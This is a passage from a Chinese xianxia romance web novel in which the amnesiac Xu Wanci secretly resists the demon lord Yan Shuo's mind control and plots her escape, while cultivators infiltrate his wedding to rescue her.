在她可以冷静思考的那一瞬,她就已经察觉到了不对。 也察觉到了言朔对她的……控制。 她微微垂眸,遮住了眼中所有的情绪,轻声应答道: “好。” 混沌之中,神明的眸中的微光,渐渐暗淡。 许晚辞身上的天道之力,无声无息的暗了下去,却依旧能让她在魔域之中,维持冷静。 就在许晚辞回复的那一刻,便察觉到了心中对言朔的狂热微微消退,仿佛是他放开了对她的控制。 她恍若未觉,往前走了几步,与言朔擦肩而过,七步之后,她停住动作,站在原地没有回头,声音却听出了几分妥协: “不是说要回去吗?” 言朔听着她纵然生气却依旧对他依赖非常的声音,眼中的猩红一点点消退。 他走上前去,步伐似乎比之前快了一分。 他站在许晚辞身侧,声音带着一丝慵懒的满足:“好,我们这就回去。” 天际之中,混沌稍暗。 暗暝楼中。 许晚辞懒洋洋地躺在躺椅上,身上的衣服已经换成了干净鲜艳的红裙。 落枫树的树叶一片片落在了她的裙摆之上,勾勒出了枫叶的花纹,她微微一动,片片枫叶从她身上轻轻飘落,看起来唯美动人。 言朔坐在一旁的墨椅之上,看向许晚辞的目光带着惊人的专注。 自从回到暗暝楼后,她便躺在了躺椅之上,仿佛是在宣泄不满一般,一言不发,目光却时不时地扫向他,仿佛是在等待着他的安慰。 这种对于亲近之人才有的撒娇之态,他心中根本升不起一丝怒气,反倒满是纵容。 他略显无奈道: “也不知道魔渊到底有哪里好,这么吸引晚辞?” 许晚辞手背搭在额头之上,轻哼了一声道:“谁知道呢,说不定我失忆以前被它欺负过,这才记得要找它算账。” 言朔唇边的笑意一僵。 他忽然想起许晚辞之前为了三叶莲,纵身跃入魔渊的场景。 只是因为三叶莲,便赌上了自己的性命。 他眸中暗色汹涌,身边的气息,也有了一瞬间的凝滞。 就在这时,许晚辞的目光,自认为不着痕迹地看了他一眼,被他抓住后,又若无其事的抬头看天。 言朔眼中的暗色蓦然消散,他静静地看着她,目光专注: 是啊,现在的许晚辞,心中只有他一人。 只有他,只是他。 她的喜怒,皆因他起。 言朔右手微握,仿佛是想要留住什么: 那她,是不是也会为了他送给她的礼物,不顾一切? 如同她曾经对待三叶莲那般。 言朔声音温柔,却似乎带着强忍的欲望: “晚辞,魔渊危险又无趣,不如去我的魔库一观。” “里面的所有灵宝,都任你挑选好不好?” 许晚辞听到他的话,想起自己丹田中那陌生的灵植,缓缓眨了眨眼睛: “那我先要一本书。” “一本记载着修仙界所有天材地宝的书籍。” 她坐起身,认真地看着他:“怎么样,不难实现吧?” 言朔起身来到了她的身前,一只手抚过她的发顶,轻声问道: “晚辞怎么忽然想要这个?” 许晚辞向后一躲,躲开了他的动作,她一只手扫去身上的枫叶,轻哼了一声道: “言朔你不要太小气。” “我现在根本不认识各种灵宝,就算进到你的魔库,也不知道哪个好,哪个不好。” 她一点都没有掩饰自己的财迷,也一点都没有将言朔当成外人: “所以当然要提前做好准备了。” 说到这里,她伸出手,一脸理直气壮道: “你给不给?” 言朔看着这样灵动俏皮又仿佛全然信任他,依赖他的许晚辞,心跳一点点加快: 这就是真实的许晚辞吗? 脱离了那死寂一般的平静,脱离了那无惧死亡与伤痛的淡漠,原来真实的她,这样活泼、灵动以及强大。 更让人沉迷的,是她强大之外,依旧毫无保留的爱意。 即使他从不相信情爱,却也忍不住想要沉迷。 所幸,他已经得到了。 这所有人都会羡慕的情爱。 言朔伸出手,温柔地搭在了许晚辞的掌心:“当然给。” 就算是她想要修仙界的所有至宝,他也会为她寻来,更何况一本书。 想到这里,他缓缓地握住她的手掌,感受着手中的温度,他轻笑着问道: “晚辞还想要什么?” “我一块儿寻来送你。” 许晚辞扫了一眼被禁锢的手掌,若无其事地扫视了一下暗暝楼中的环境,皱眉道: “这里的树怎么都是红色?” “看起来太单调了。” 她抽出言朔手中的手掌,指了指不远处的红枫树,抬起头一脸期待道: “我们把那里种上花好不好。” 不等他回答,她就声音憧憬的继续道: “种上好多好多蓝色的花!” 言朔唇角的笑意,在她说出蓝色二字时,便瞬间消失。 他强忍住心中的不悦,声音带着一丝强硬的蛊惑: “别的颜色不好么?” 许晚辞茫然地眨了眨眼睛:“可我喜欢蓝色啊。” 言朔周身的魔气骤然外溢,却又被他强行压制。 他眼中猩红的纹路一息之间,便全部亮起,毫无保留的加重着许晚辞身上的魔域: “晚辞怎么会喜欢蓝色呢?” 他一只手温柔地抚过身前人的侧脸,仿佛只是在陈述一个事实: “晚辞明明,最厌恶蓝色。” 许晚辞感受着心中翻涌着想要认同言朔的话的情绪,指尖微不可查地动了一下。 她一直能察觉到自己心中对蓝色的欢喜,也一直小心的用蓝色试探。 可是她没有想到,言朔的反应,会这样激烈。 明明只是一种颜色,他为何偏偏这样重视。 就好像……蓝色与她从前的记忆,不可分割一般。 这时,她心中对蓝色的执着,有了一丝变淡的趋势。 即使心中依旧有冷静的那一部分,却在不知不觉间,被压制。 她必须想办法摆脱这种控制。 不然一步步的妥协,一步步的被控制,她只会成为言朔手中的傀儡。 一个任由他喜好装扮,没有一点自我的傀儡。 许晚辞想起自己脑海中那个一闪而过的蓝色身影和一些细碎的画面,缓缓垂下了双眼。 如果言朔对蓝色的厌恶,是因为那个身影…… 如今她在他的掌控之下,根本没有反抗的余地,要想保留住最真实的她,只能用这种方法。 只能让言朔以为,他对她的控制,有效,却混乱了她的认知。 让他无法如愿以偿,让他不得不停止。 她如他所愿一般,眼睛一点一点的闭了起来。 就在她眼睛快要完全闭上时,她扫过他的手侧,仿佛发现了什么,又睁开了双眼。 她缓缓捧起他触碰她脸颊的左手,声音带着一丝困惑: “言朔,你手腕上的红痣,怎么不见了?” 魔域顿止。 暗暝楼外的魔气,蓦然扫荡向整个魔界。 第59章 他怎么可能放手 混沌之中。 萧玉衍下意识低头看向自己左手的手腕之处, 一粒红痣落于手腕内侧,红得灼眼。 在这之前,这具身体于他只是一个载体,存在与否都无需在意, 可是这一瞬, 他终于意识到了他自己的存在, 也意识到了这具身体, 对他而言的特殊。 许晚辞口中的人……是他。 独立于万物之外, 只是他。 他心中陌生的情绪, 一点点加深。 一粒种子悄无声息的种下, 终有一日,会发芽生长,直至花开。 暗暝楼中。 听着许晚辞困顿疑惑的声音, 言朔身边的魔域戛然而止, 可是眼中的猩红却分毫未退, 反而一步步加深,红得足以让整个魔界的魔修都胆战心惊,战栗匍匐。 他身边的魔气, 在许晚辞失忆醒来后,第一次没有在她面前遮掩,失控的扫荡了整个暗暝楼, 周围的一切, 都瞬间化为飞灰, 再也寻不到一丝痕迹。 言朔的面色冷到了极点,显露在外的身体之上, 有魔纹隐现: 许晚辞居然将他认作萧玉衍。 她怎么敢? 胸中汹涌的怒气席卷而来,压制了所有的情绪, 包括那一丝他自己都不愿意承认的酸涩与……嫉妒。 即使是在他精心改造的魔域之中,她仍然忘不了萧玉衍。 言朔被许晚辞握住的左手并未抽回,可是右手,却无情的搭在了她的脖颈之上。 他心中只剩下了一个念头: 杀了她。 她不过只是他用来消遣的物件,杀了一个,还会有第二个,第三个。 只要她死了,便再也没有人能够搅弄他的情绪。 不过是一个修士。 没错,不过是一个修士。 没有人发现,丝丝缕缕的天道之力温柔的护在了许晚辞身上,也没有人发现,天际中的神明,看向言朔的目光中,竟然有了一丝杀意。 言朔的右手缓缓用力,却在看到许晚辞目光的那一瞬,定在了原地。 她的眸中清晰的映出了他猩红的双眼,清晰的映出了他眼中的冰冷与杀意,这足以让所有人颤抖的杀意,却没有让她产生一点恐惧与害怕,她的心跳都未曾快上一分。 她安静地认真地看着他,澄澈的目光中,满是担忧。 言朔倏地意识到: 许晚辞信任他,信任到她根本不觉得他会伤害她。 即使他在她眼中的模样,已经几近失控。 她也根本不会反抗,即使她拥有着一剑斩魔龙的强大。 她只会担忧他,担忧他的现状,担忧他身上,到底发生了什么。 所有人对他,从来都是恐惧、厌恶,有无数人日夜祈祷他的死亡,从未有人如她一般…… 这一刻,言朔的右手依旧握在许晚辞的脖颈之上,却再也没有了冰冷的杀意。 这样关切的担心,这样全然的信任,这样毫无遮掩的亲近…… 没有人能抗拒,更没有人能拒绝。 即使,是因为萧玉衍。 许晚辞没有在意其他,她仿佛是想到了什么,捧着他左手的动作愈发的小心翼翼。 她抬起头,眼中蒙上了一层浅浅的雾气,又被她用力眨去,她轻轻地握紧他的手腕,把他的手捧到唇边,小心翼翼地吹了两下: “是不是很疼?” 她以为,是他的左手受过重伤,所以才没有了那一粒红痣,所以,才会让他如此失控。 感受着手腕内侧温柔的清风,言朔身边的魔气,在她的目光之下,溃不成军地退去: 这让他,怎么放手? 萧玉衍不过陪了她几年,而他会陪她百年,千年。 总有一天,他能洗去她身上,一切有关萧玉衍的痕迹;总有一天,她的生命中,只会有他的存在。 想到这里,他落在许晚辞脖颈上的手缓缓上移,来到了她的侧脸。 他强忍着所有的情绪,若无其事地认下了她的话: “过去太久,已经不疼了。” 看到许晚辞愈发担忧疼惜的目光,他放轻了声音哄道: “你看,都已经看不出一点痕迹了,不是么?” 许晚辞抬头看向他:“可是……” 言朔反手拉住她的手,另一只手抚过她的长发,轻声道: “今天你也累了,好好休息。” 许晚辞听出了他声音中潜藏的疲惫,虽然目光依旧停留在他受过伤的左手之上,却依旧乖巧的点了点头: “你也好好休息。” 等到言朔离开后,许晚辞看着被魔气扫荡一空的暗暝楼,似乎是有些失落的低下了头,遮住了眼中所有的情绪: 她对杀意很是敏感,所以愈发清楚,方才那一刻,言朔是真的想杀了她,若不是她反应及时,或许现在已经成为了一具尸体。 即使她已经足够警惕,却依旧被他表现出来的温柔与偏爱消磨了些许的戒备。 是她托大了。 可她也确实,别无办法。 许晚辞转过身,一步一步地走到了暗暝楼中,步伐从容而坚定: 她不可能按照言朔的想法,成为他期望的样子,她永远都只是她自己。 若是他再失控,还能如今日一般活下来么? 许晚辞坐在床边,一只手覆上了她放置在床头的三叶莲,一股热流温暖地滋润着她的识海。 她的脑中似乎闪过一些片段,她看不清,却知道那是她的过去。 果然,能被曾经的她留在身边的三叶莲,并非普通法器。 只是…… 想起言朔对三叶莲表现出来的厌恶,她放下了把它放在身边的想法。 如今她护住自己都实属勉强,更不用说三叶莲了。 她必须好好想一下,接下来该如何是好。 翌日。 暗暝楼中所有的景物都已经恢复成了原来的模样。 只是红叶潇潇的众多落枫树中,多了几株玉梨树,浅蓝色的玉梨花静立枝头,看起来清新雅致,赏心悦目。 许晚辞坐在玉梨树下,用灵气一下一下的触碰着树枝上的玉梨花。 玉梨花格外□□,任由她灵气袭扰,依旧岿然不动,花瓣自始至终都未曾落下一片。 这时,一个身影蓦然出现在了楼外。 许晚辞惊喜的抬眸,看到门口的身影后,眼中惊喜褪去,她抿着唇道: “言朔呢?” 夜刑听到她口中对魔尊的称呼,心中一颤,面色却愈发恭敬: “陛下公事繁忙,正在处理魔界要务。” 许晚辞收回了视线,闷闷地应了一声:“哦。” 夜刑只是看了她一眼,便恭敬地低下了头,不敢再看。 他用魔气将手中的书送到了她身前: “这是您要的记载修仙界所有天材地宝的书籍。” 许晚辞接过了这本书,随意打开了一页,看到一个灵植的虚影蓦然在书上浮现,下方是这个灵植的详细介绍。 她目光微动,抬头却依旧一副兴致缺缺的模样: “知道了。” 就在这时,一粒蓝色的魔珠不情不愿地来到了许晚辞的身前。 她好奇地戳了戳这粒魔珠,眼中终于多了几分兴味: “这是什么?” 夜刑想起曾经魔珠嚣张跋扈,仗着魔尊威势作威作福的模样,声音平静的听不出一点幸灾乐祸的情绪: “这是魔尊的九转玉魔珠,送与您闲暇时赏玩。” 原本通红似血,魔气嚣张的九转玉魔珠,此刻变成了近乎黑色的墨蓝,其中时不时有抑制不住的红光闪过,看起来扭曲而诡异。 不知言朔对它做了什么,在许晚辞面前,它根本不敢造次,安静的仿佛哑巴了一般,连珠内的魔气都看起来乖顺无比: 不就是最恶心人最丑的蓝色么?对于它魔珠大人还不是手拿把掐。 许晚辞轻轻地敲了一下魔珠的珠身,听到沉闷的声响后,一脸嫌弃地放下了手,看着还未离开的夜刑,她疑惑道: “还有其他事情么?” 夜刑赶紧行了一礼,恭敬退下。 只是在要离开暗暝楼时,他没有忍住,转身低着头,声音迟疑: “那日……” “您为何要以身涉险,救城中的魔民?” 明明她身为修士,与魔修势不两立; 明明她身份高贵,根本无需在意那些魔民的生死。 玉梨树下,一朵玉梨花终于被许晚辞的灵气扫了下来,落在了她的掌心。 她拿着玉梨花,声音稀疏平常,听起来根本没有把这个问题放在心上: “能救,便救了。” “为什么非需要原因?” 夜刑怔愣着抬起头,就看到了许晚辞坐在墨椅之上,手持玉梨花的场景。 她轻笑着看向浅蓝的玉梨花,目光温柔。 这一刻,他恍惚觉得,比起红色,蓝色更加适合她。 等到夜刑离开后,许晚辞有一下没一下的戳着身前的魔珠: 为什么救那个城池? 或许是因为,她觉得自己也只是普通人中的一个。 她只是想救自己,不让自己被这个无视生死的魔界同化。 她百无聊赖地戳了魔珠几十下,动作懒散。 每触碰一下,魔珠里的魔气就会变浓一分,气鼓鼓的它看起来下一瞬就会炸掉,却又不敢造次,只能委委屈屈地躲到了一棵玉枫树后。 看着藏起来的九转玉魔珠,许晚辞一脸无趣的翻起了手中的书,漫不经心地看着上面的内容。 就连一直偷偷观察她的魔珠都没有发现,她的目光,在天华参与天灵丹那两页,多停顿了一息。 良久之后,仿佛是看累了,许晚辞一只手撑着下巴,缓缓地闭上了眼睛。 她心中一片清明: 天华参虽然能帮她晋升化神,可是在魔界,修士根本没有办法渡劫成功。 而天灵丹虽然能转移神魂,让她在另一处复活,可是却也有限制,以言朔的修为,在她对自己动手的那一刻,就会被他发现不对。 天华参与天灵丹,若是只有一个,便没有任何用处。 可若是二者兼有…… 原来曾经的她,已经为自己准备了一条生路。 一条虽然损失惨重,但是却能逃离魔界的路。 第60章 就仿佛有人为她挡住了言朔所有的控制 暗暝楼中。 许晚辞坐在玉梨树下, 静静地看着枝头一簇一簇盛放的浅蓝色玉梨花,目光宁静悠远,看起来仿佛在怀念着什么。 她知道不远处的九转玉魔珠正在观察着她的一举一动,所以这段时间中, 她未曾表现出什么不对, 除了自己对蓝色的那一丝偏执。 想到这里, 她微微垂眸, 遮住了眼中所有的情绪: 自从那日之后, 她在言朔试图控制她时, 用了几次最初的方法, 模糊言朔与她记忆中那人的身份。 也确实如她所想,言朔在听到她怀念一般的言语时,会减轻对她的控制, 对她的杀意, 也越来越少。 可是, 随着时间的推移,她却隐隐察觉到了他平静之下暗潮涌动的疯狂。 就在她垂眸沉思之时,一个熟悉的脚步声由远及近。 她抬起头, 眼中带着恰到好处的惊喜,只是一瞬间,她便反应过来一般, 轻哼一声侧过了脸: “大忙人终于有时间了?” 言朔目光冰冷地扫过周围蓝色的一切, 包括那颗墨蓝色的九转玉魔珠, 只是他眼中所有的冷意,在看到许晚辞的那一眼, 无声消退。 她的声音灵动俏皮,目光更是在发现他到来的那一瞬, 装作移开,却一直都落在他的身上。 仿佛除了他,再也没有人能够吸引她的注意。 他空洞的内心似乎被填满了一般,烦躁稍退。 言朔走到了她的身边,看着她因为他的靠近不自觉扬起的唇角,面色柔和了下来: “晚辞是想我了么?” 许晚辞听到他的声音后,不紧不慢地转过了身,抬眸看向他,铿锵有力道: “没有。” 即使知道她在说反话,言朔的双眼依旧带上了一丝不悦,声音温柔但却带着不容拒绝的强硬: “晚辞,是不是想我了?” 他微微俯身,仿佛非要得知想要的答案一般,施加在身前人身上的魔域再一次流转开来。 许晚辞第一时间察觉到了心中的异常,她浓密的睫毛微微颤动: 又开始了么? 这一次,只是因为一个他不满意的回答,即使她的脸上的表情与回答完全相反。 他对她的控制欲,已经强到这种地步了么? 不管心中如何做想,她的表情都带着被控制后的懵懂,她乖巧道: “我当然想你。” 听到她的回答,言朔终于停止了魔域,眼中的猩红尽数褪去,他满足的眯起了双眼: “真乖。” 许晚辞缓缓的眨了眨眼睛,眼中重新恢复了灵动,她站起身快步来到了墨玉桌旁边,一脸求夸奖地捧起了桌上的酒壶: “我可是早就准备好了你最喜欢的清泉酒,就等你来喝了。” 她为言朔倒了一杯酒,声音欢快:“快尝一尝,我倒的酒,是不是更好喝?” 她根本不知道脑海中闪过的那个身影到底喜欢什么,她隐约只记得蓝衣,红痣、还有一片很美的蓝色花田…… 但只是这些不够。 不够让言朔意识到那人对她的影响。 所以,她试探到言朔对她记忆中的那人不甚了解后,便开始了自己的创造。 清泉酒,亦是如此。 虚无之中,萧玉衍默默地记下了自己的喜好。 原来他喜欢……清泉酒。 明明过去的一切对他而言犹如虚妄,这时,他却开始找寻起了那些过去,那些许晚辞口中他们的过去。 他至今仍不清楚心中那些陌生的情绪到底是什么,可是身体却已经先于意识动了起来。 这一刻,天道身上终于有了‘人’的烟火之气,即使他自己都尚未察觉。 言朔看着许晚辞捧着酒杯笑盈盈看向他的模样,指尖带上了一抹渗人的魔气: 现在她,已经混淆他的身份至此了么? 一个魔修,怎么可能会喜欢对自己身体有损的灵酒? 可他再也没有像之前那样暴怒,也没有同以往一般用借口拒绝,然后起身离开。 他一步一步走到了她身前,漆黑的双眸中暗潮汹涌,却又被他强行压制。 他接过她手中的酒杯,一饮而尽,灵酒入喉,侵蚀着他的五脏六腑,他却并未用魔气吞噬,而是任由疼痛席卷周身。 这才压住了他胸中涌起的所有情绪。 他微微扬唇,声音带着一股血腥之气:“晚辞送得清泉酒,自然是最好的。” “我很喜欢。” 许晚辞压住心中的诧异,她开心的弯起了眼睛,声音欢快: “我就知道,你肯定会喜欢!” 言朔看着她笑靥如花的模样,心中的疯狂逐渐加深。 她只能属于他,哪怕把他当成另一个人。 总归现在陪在她身边的,只有他。 …… 等到言朔离开后,许晚辞垂下头,唇角的笑意一点点平复了下来: 言朔比她想象的更加疯狂。 先前他还只是控制她的行动,控制她与其他人的交流,如今更是已经不管不顾,想让她的一举一动,言行举止都符合他的要求。 继续这样下去,可能再过一段时间,她连自己真正的喜好都记不清了。 想到自己丹田中的两个灵宝,许晚辞缓缓地闭上双眼: 天华参能够助她突破元婴,同时晋升为修仙界罕见的双化神,同时,也需要渡过双倍雷劫。 魔界中没有灵气,莫说是双倍雷劫,哪怕只是一道天雷,她都难以抵抗。 所以,选择在魔界渡劫,与求死无异。 可在魔界之主面前,也只有天雷能挡住他的探?? 查,让她拥有离开的机会。 想了想自己丹田的天灵丹,许晚辞睁开双眼,淡淡地扫过一旁尽职尽责监视她的九转玉魔珠,目光带上了一丝坚定: 她没有别的选择。 只不过是舍弃这一身的修为,重新修炼罢了。 她能结婴一次,就能结婴两次。 她绝不允许她丢掉自己,成为一个任人玩弄的傀儡。 许晚辞站起身,一步一步朝着楼内走去: 既然下定了决心,她必须为自己做好万全的准备。 魔界不只是没有灵气,修士渡劫所需要的天道之力,也远远不够。 她也不知晓天道之力不足会有什么后果,可万一引不来雷劫,她就无法骗过言朔,从他眼前假死。 她的作为,还会让他暴怒。 失败的那一刻,她要么会死在言朔手中,要么会被他炼制成一个喜怒皆由他制定的傀儡。 她不能下这种必输的赌注。 这段时间,她必须想办法得到蕴含天道之力的灵宝。 * 言朔看着这段时间中愈发沉默,时不时对着玉梨花失神的许晚辞,脚步停留了一瞬。 他压下心中所有的想法,快步走到了她身前,声音轻柔: “晚辞,在想什么?” 许晚辞侧头看了他一眼,眼中并没有曾经每一次的欢喜与期待,而是如水般轻柔的平静。 她对着他轻轻地笑了笑,带着自己都没有察觉到的倦怠。 言朔的心瞬间坠入谷底。 这样的许晚辞,像极了她还没有失忆时的模样,像极了还记得萧玉衍,愿意为他付出一切的模样。 她不应该这样。 她应该对他笑得欢喜,她的眼中心中,应该只有他一人。 言朔心中无数情绪不断翻涌:愤怒、疯狂、嫉妒以及……惶恐。 得到过许晚辞全心的信任与深爱,他根本接受不了哪怕一丝失去的可能。 他攥紧双手,仿佛是想握住什么,可他手中,从一开始就空无一物。 许晚辞仿佛没有察觉他的不对,她抬起头,一脸期待的问他: “言朔,你是不是忘了?” “不是你说要带我去你的魔库里挑灵宝的么?” 言朔终于回过了神,看着抬头笑盈盈看向他,等待他回答的许晚辞,他终于松开双手,可心中依旧空落无依。 他像是想到了什么,眼中带着隐忍的疯狂: “晚辞,做我的魔后好不好?” “什么?”许晚辞一时间根本没有理解他的意思,茫然地看着他。 说出口后,言朔自己也愣在了原地。 他本只是把许晚辞当成无聊时的消遣,从未想过让她成为他真正的魔后,与他生死与共,共享魔界的魔后。 可是当这个念头出现后,他发现自己并不排斥,反倒……有所期待。 经过天地之契,他们的关系,就会得到天道承认。 她就会成为他名正言顺的魔后,就只能永远的留在他身边,哪怕她找回了记忆。 就算她心中只有萧玉衍又如何,她依旧只能看向他,然后,一点点变成他想要的样子。 心中只有他一人的样子。 想到这里,言朔俯下身,右手温柔地拖着许晚辞的侧脸,声音温柔地重复了一遍方才的问题,声音是前所未有的认真: “晚辞,做我的魔后好不好?” “经过天地之契,被天道承认的魔后。” 感受到身前人的怔愣,他周身的魔域毫无保留地在她身上施展,双眸红得没有了一丝黑色。 他不接受她口中除了‘好’之外的任何答案。 许晚辞清楚的知道言朔在控制她,甚至控制的力度比之前的每一次,都要强。 可是不知为什么,她心中却一片清明,根本没有受到一点限制。 就仿佛有人为她挡去了所有的控制,让她能做出自己真正想要的回答。 这一次,她清晰的看到了言朔控制她时红得渗人的双眸。 她也知道,她根本没有拒绝的权利,她绝不能让言朔发现她能摆脱他的控制。 更何况,她需要天地之契中的天道之力。 那会比所有的灵宝,都更有效果。 她如言朔所愿,轻声道: “好。” 只是她的眼中,从始至终都没有分毫欢喜。 听到她回答的那一瞬,即使言朔知道在魔域的掌控之下,她根本不可能拒绝,眼中依旧带上了真切的笑意。 而天际之中的萧玉衍,安静的收回了手中的天道之力: 这是她的选择。 他微微垂眸,看向左手手腕处的那粒红痣,灼眼得让他的胸口,有一瞬间的刺痛。 他淡漠的收回了视线,再次成为了那个无欲无求的天道。 只是虚无之中的蓝色,越来越多。 * 一日之后,魔尊大婚的消息,已经传遍了魔界。 对魔界密切关注的修仙界,也同时得知了消息。 这段时间来,以太清宗和江家为首的所有宗门世家在确定许晚辞安全的情况下,用最快的速度开辟了一条去往魔界,不会引起魔界注意的道路。 然后耗尽了一座灵脉和无数灵宝,砸出来了四个渡劫修士去魔界全力对敌半个时辰所需要的灵气。 佛子提前出关,为四人凝聚出了能伪装魔气的灵宝,同时以神魂庇护,为他们指引道路。 江秋宁长发利落的束起,一身劲装,面色再无曾经的温柔,而是带着大权在握的冷漠与强势。 自从许晚辞被魔界掳走后,她已经不眠不休数日,却依旧身如轻质,挺拔坚韧。 她余光看向不远处一身黑衣,正在适应身上魔气的江泽: “三日后,魔尊大婚,魔界必定混乱不堪。” “这是最好的机会。” 说到这里,她再也没有强忍自己的担忧,她转身对着江泽行了一礼: “晚辞就拜托小叔了。” 趁着魔尊大婚,防守疏漏时,四位渡劫修士会进入魔界,找到许晚辞关押的所在,然后以五张灵符回归。 只要来到修仙界,哪怕是魔尊,也不足为惧。 只是此行,必定危险重重。 如今已是渡劫修为的江泽面无表情地适应着身上的魔气,他声音淡漠却又带着近乎决绝的坚定: “我一定会将她带回修仙界。” 不远处,无极宗宗主看着刚从堕魔之地带回屠灵果的季妄,嘴张了又合,最终叹息道: “季长老,我知道许晚辞身上系着你的因果。” “只是,魔界之行,还望你以自身性命为重。” “这仙品回清符,只要使用,就能回到修仙界,万不可以命相搏啊!” 季妄并未开口,只是安静地擦着手中的极云刀,颈侧红痣全无遮挡,在阳光下却只是黯淡的浅红,就如同他的心情。 太清宗中要前往魔界的大长老与三长老面色平淡。 三长老顾云绮更是调侃一般的开口: “也不知道让魔尊动心的魔修究竟长什么样?” “不过不论如何,我们都要谢谢她,若不是她,也不会有这样好的机会。” 趁着魔界大乱,他们平安救回许晚辞的几率,又大了两成。 她抬起头,看着湛蓝的天空,终于显露了自己的担忧: “也不知她在魔界如何了?” 大长老拍了拍她的肩膀: “命牌并无反应,无生命之忧便好。” “是啊。”顾云绮收回视线,她身上的气息,比之前沉淀了些许,眼中再也没有曾经为了机缘痴迷疯狂的模样,“等她回来,给她好好补补。” 60-70 第61章 这才是天道的偏爱 魔尊大婚, 举目皆庆。 向来魔气阴森、死气沉沉的魔界,今日在魔尊的命令下万里红妆,魔界的所有魔修魔民都必须表现的欣喜同乐,但被许晚辞救下的魔启城城中是一片真实的欢欣鼓舞。 看起来不像是森冷的魔界, 倒像是修仙界普通城池中的场景。 魔尊有命, 高魔之上的所有魔修, 需得前往应天台观礼。 所以, 大婚当日, 魔宫周围的魔城, 被魔界各地的高魔、极魔挤了个满满当当。 修仙界四人游走于众多魔修之中, 神经紧绷。 他们四人如今看起来都是极魔的修为,身为极魔,身上所有的特征都无限趋近于普通人, 只有脸上带了一些漆黑的魔纹。 顾云绮听着不远处魔修们的谈论, 和身侧的大长老不动声色的交换了一个眼神: 应天台? 魔界修士进阶不需要天道之力, 也不需要同修士一般渡雷劫,所以魔界之中根本没有沟通天地的地方。 魔尊居然为了这次大婚,专门修建了一座应天台, 用以结契,得到天道承认。 看起来,魔尊对这位魔后, 真是用情至深啊。 顾云绮一紧张, 就喜欢胡思乱想, 她用神识对着身侧的大长老道: “你说这个魔后到底是什么样的天仙,居然能让魔尊言朔动心?” “不对, 也说不定是魔尊的爱好格外迥异,魔修嘛, 本来喜好就异于常人……” “那这位魔后,是三头夜叉?还是魔兽成精?” 大长老听着她不着边际的话,面色严肃地扫了顾云绮一眼。 顾云绮赶紧停了下来,继续朝前走去。 紧靠着魔界边缘的修仙界中。 修仙界数位大乘渡劫修士站在周围,面色紧张的看向盘坐在地的佛修。 佛修一身粗布的白色衣衫,明明有着一张出众至极的脸,可是第一眼望去,却根本记不住他的长相,只能感受到他周身澄澈如许、静谧安然的气息。 让人在见到他的那一刻,心神不自觉的安定下来。 他双眼紧闭,因为提前出关,他身上的伤势并未好全,修为也倒退到了渡劫初期,每一次灵气的使用,于他而言与受刑无异。 他面色苍白,眉眼却并无痛楚之相,只有一片沉静的专注。 他以灵气为介,透过江泽等人身上携带的法器,仔细地观看着魔界中的一切。 找到那一丝许晚辞相关的气息时,他声如清风: “右行七步。” 魔界之中,江泽等人听到后,依言而动。 他们依照佛子的引导,一步步地朝着许晚辞被关押的方向走去,只是…… 顾云绮看着周围熙熙攘攘的魔修,以神识对周围三人传音道:“是不是有哪里不对?” “这不是去应天台的方向么?” “魔尊这是强迫晚辞观礼了?” 江泽不知是想到了什么,冷然的面色中,带上了一丝凝重。 这时,四人已经来到了应天台前。 这是一座由仙魔两界无数珍宝堆砌而成的百米高台,魔宝在外,嚣张肆意,灵宝在内,静谧温柔,灵气与魔气交相辉映,有一种诡异的美感。 由极品灵石砌成的台阶,拾级而上,直至高台。 高台之上,天地之契静然而立,等待着大婚的二人,将神魂契于其上。 无数高阶的魔修都满脸敬重的站在应天台下,即使抬头,也只敢轻扫一眼,不敢多看。 向来嚣张的顶阶大魔,在魔尊面前,也与低阶的魔妖无异。 即使知道大喜之日,魔尊不会轻易杀魔,可他们依旧战战兢兢。 应天台周围,七大魔将分开镇守,稍有异动,便会成为他们手下魔魂。 魔修之中,江泽定定地看了一眼应天台的方向,缓缓攥紧了双手: 魔尊大婚,为何应天台上不止有魔宝,还有许多无数修仙界都难得一见的灵宝? 除非…… 这时,七位魔将整齐地朝着一个方向跪了下来。 应天台周围的魔修,也没有分毫犹豫,恭敬的跪了下去。 江泽死死地盯着出现在应天台台阶之下的两个身影,周身寒气涌动却又被他拼命压制。 他身边的季妄与太清宗两位长老,面色也都满是错愕。 大长老最先反应了过来,用灵气转化而成的魔气,将三人一同拉了下来,四人的身影,转瞬淹没在了众多魔修之中。 没有人想到,魔尊言朔身边的人,居然会是许晚辞。 修仙界中,透过江泽等人的目光,盘坐在地的佛子白舟也看到了与魔尊言朔并肩而立的许晚辞。 许晚辞身上穿着魔族大婚时的红黑婚服,繁华精致,暗金色华贵的发冠之下,是一双平静懵懂,没有任何起伏的眸子。 这场整个魔界都在欢庆的大婚,对于她而言却仿佛只是一个不需要灵魂就能完成的任务。 即使看到了许晚辞如今魔后的身份,白舟的目光依旧没有什么波动,他只是细细地观察着她身上涌动的魔气,声音越过千里,传到了江泽等人耳边: “许施主大抵是被魔尊控制了。” 白舟的声音让魔界四人回过了神,哪怕是脾性最易暴怒的季妄,此刻也都安静的跪在原地,眼中所有的情绪都被他牢牢压制,只剩下一片冷静。 其他人和他的表情相似。 他们本以为魔尊大婚,魔界必定混乱不堪,所以想趁乱找到许晚辞,将她带离魔界。 这些计划,都有一个前提,那就是魔尊分身乏术,不会注意到他们,更不会对他们动手。 可如今,他们身边是数百位高阶魔修,应天台上,还有魔界之主言朔。 在言朔的魔气之下,他们离开魔界的符箓,都不一定能发挥作用,更不用说带许晚辞离开魔界了。 可即便如此,四人眼中依旧没有分毫退意。 既然许晚辞并非自愿,那他们就拼尽一切,带她离开! 拼死一搏,未必不能拼出一线生机。 应天台下,言朔握住许晚辞的手腕,一步一步地朝着高台而去。 感受着身后几道努力伪装魔气的灵气,他的眼睛微不可查地眯了一下: 修仙界的人,也来了。 也好。 几个修士而已,在魔界能掀起什么风浪? 倒不如让他们亲眼见证—— 见证仙界至尊清衍仙尊的挚爱,在今日成为他的魔后。 那群道貌岸然的修士知道这个消息后,脸色一定分外好看。 今日不宜见血。 等到大婚之后,再杀了他们。 言朔侧头看向身侧与他并肩而行的人,暗金的发冠之下,她目光似乎带着浅浅的懵懂,双唇紧抿,没有一丝微笑。 她就这样静静地往前走着,从始至终都未看他一眼。 他握着许晚辞手腕的手逐渐用力,强行压住了心中的不安: 大抵是这段时间他运转魔域的次数太多,扰乱了她的认知。 等到大婚之后,他自然会减轻她身上的魔域,那时她便能恢复成以前的模样。 恢复成以前那个爱他,信任他,会小心翼翼关心他伤口的许晚辞。 许晚辞感受着身侧人稍显暴动的魔气,心中微沉,但是脚步依旧从容向上: 